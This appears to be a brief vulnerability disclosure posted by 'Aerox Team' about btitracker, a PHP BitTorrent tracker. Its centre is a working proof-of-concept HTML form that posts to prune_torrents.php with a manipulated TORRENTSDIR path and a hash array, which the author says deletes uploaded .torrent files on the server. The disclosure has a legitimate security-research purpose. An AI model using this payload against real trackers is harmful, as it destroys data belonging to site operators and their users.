Vulnerability in Btitracker

[aeroxteam@xxxxxxxxx]

Hello,
I found a vulnerability in btitracker (a tool for create a bittorrent tracker 
written in php?).
This vulnerability can remove physically uploaded files .torrent
video : http://aeroxteam.free.fr/btitracker.html
exploit(not to diffuse) :

<form 
action="http://127.0.0.1/btitracker/include/prune_torrents.php?action=prune&TORRENTSDIR=../torrents";
 method="POST">
<input type="hidden" name="hash" value="1">
<br />Hash :<br />
<input type="text" name="hash[0]"><br />
<input type="submit">
</form>

Gu1ll4um3r0m41n,
Aerox Team